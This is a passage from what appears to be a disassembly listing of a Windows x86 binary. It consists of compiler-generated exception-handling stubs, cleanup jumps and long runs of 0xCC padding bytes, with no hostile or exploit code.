[ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-40h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43B6A4: ; DATA XREF: ___:00425BD2o mov eax, offset dword_441928 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426450 proc near ; DATA XREF: sub_426450+2o mov eax, offset dword_441A08 jmp sub_4367C8 SEH_426450 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B708: ; DATA XREF: ___:00441A64o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4264C0 proc near ; DATA XREF: sub_4264C0+2o mov eax, offset dword_441A38 jmp sub_4367C8 SEH_4264C0 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B758: ; DATA XREF: ___:00441AB4o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Bh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426560 proc near ; DATA XREF: sub_426560+2o mov eax, offset dword_441A88 jmp sub_4367C8 SEH_426560 endp ; --------------------------------------------------------------------------- db 12h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4266A0 proc near ; DATA XREF: sub_4266A0+2o mov eax, offset dword_441AD8 jmp sub_4367C8 SEH_4266A0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4269A0 proc near ; DATA XREF: sub_4269A0+2o mov eax, offset dword_441B08 jmp sub_4367C8 SEH_4269A0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426A60 proc near ; DATA XREF: sub_426A60+2o mov eax, offset dword_441B38 jmp sub_4367C8 SEH_426A60 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426EB0 proc near ; DATA XREF: sub_426EB0+2o mov eax, offset dword_441B68 jmp sub_4367C8 SEH_426EB0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_426F70 proc near ; DATA XREF: sub_426F70+2o mov eax, offset dword_441B98 jmp sub_4367C8 SEH_426F70 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4014C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427590 proc near ; DATA XREF: sub_427590+2o mov eax, offset dword_441BC8 jmp sub_4367C8 SEH_427590 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427650 proc near ; DATA XREF: sub_427650+2o mov eax, offset dword_441BF8 jmp sub_4367C8 SEH_427650 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427DC0 proc near ; DATA XREF: sub_427DC0+2o mov eax, offset dword_441C28 jmp sub_4367C8 SEH_427DC0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B8A8: ; DATA XREF: ___:00441C84o mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427E30 proc near ; DATA XREF: sub_427E30+2o mov eax, offset dword_441C58 jmp sub_4367C8 SEH_427E30 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_43B908: ; DATA XREF: ___:00441CDCo mov ecx, [ebp-10h] add ecx, 11h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 26h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 43h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 58h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6Dh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_427EF0 proc near ; DATA XREF: sub_427EF0+2o mov eax, offset dword_441CB0 jmp sub_4367C8 SEH_427EF0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43B968: ; DATA XREF: ___:00441D34o mov ecx, [ebp-28h] add ecx, 0A1h jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_428160 proc near ; DATA XREF: sub_428160+2o mov eax, offset dword_441D08 jmp sub_4367C8 SEH_428160 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-53ECh] jmp sub_4014B0 ; --------------------------------------------------------------------------- loc_43B9AB: ; DATA XREF: ___:00441D74o lea ecx, [ebp-5490h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5474h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5274h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-528Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-525Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-537Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-522Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5304h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-545Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5444h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-541Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5404h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5364h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-534Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-531Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BA92: ; DATA XREF: sub_4282C0+8o mov eax, offset dword_441D48 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 44h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4299C0 proc near ; DATA XREF: sub_4299C0+2o mov eax, offset dword_441E30 jmp sub_4367C8 SEH_4299C0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-10h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429AA0 proc near ; DATA XREF: sub_429AA0+2o mov eax, offset dword_441E60 jmp sub_4367C8 SEH_429AA0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_429D00 proc near ; DATA XREF: sub_429D00+2o mov eax, offset dword_441E90 jmp sub_4367C8 SEH_429D00 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A090 proc near ; DATA XREF: sub_42A090+2o mov eax, offset dword_441EC0 jmp sub_4367C8 SEH_42A090 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42A150 proc near ; DATA XREF: sub_42A150+8o mov eax, offset dword_441EF0 jmp sub_4367C8 SEH_42A150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AEC0 proc near ; DATA XREF: sub_42AEC0+5o mov eax, offset dword_441F20 jmp sub_4367C8 SEH_42AEC0 endp ; --------------------------------------------------------------------------- align 10h loc_43BB90: ; DATA XREF: ___:0042AFD5o mov eax, offset dword_441F80 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BBA8: ; DATA XREF: ___:0044200Co lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B060 proc near ; DATA XREF: sub_42B060+2o mov eax, offset dword_441FE0 jmp sub_4367C8 SEH_42B060 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B240 proc near ; DATA XREF: sub_42B240+2o mov eax, offset dword_442020 jmp sub_4367C8 SEH_42B240 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- loc_43BC08: ; DATA XREF: ___:0042B2E2o mov eax, offset dword_442050 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B480 proc near ; DATA XREF: sub_42B480+2o mov eax, offset dword_442080 jmp sub_4367C8 SEH_42B480 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_40179E ; --------------------------------------------------------------------------- mov eax, offset dword_4420B0 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B880 proc near ; DATA XREF: sub_42B880+8o mov eax, offset dword_4420E0 jmp sub_4367C8 SEH_42B880 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42BB70 proc near ; DATA XREF: sub_42BB70+2o mov eax, offset dword_442110 jmp sub_4367C8 SEH_42BB70 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BD84: ; DATA XREF: ___:0042BE68o mov eax, offset dword_442168 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4347B0 proc near ; DATA XREF: sub_4347B0+2o mov eax, offset dword_442250 jmp sub_4367C8 SEH_4347B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDEB: ; DATA XREF: ___:004422B4o lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43BDF6: ; DATA XREF: ___:004348A8o mov eax, offset dword_442288 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4351E0 proc near ; DATA XREF: sub_4351E0+2o mov eax, offset dword_4422C0 jmp sub_4367C8 SEH_4351E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4355E0 proc near ; DATA XREF: sub_4355E0+2o mov eax, offset dword_4422F0 jmp sub_4367C8 SEH_4355E0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4356F0 proc near ; DATA XREF: sub_4356F0+8o mov eax, offset dword_442328 jmp sub_4367C8 SEH_4356F0 endp ; --------------------------------------------------------------------------- db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 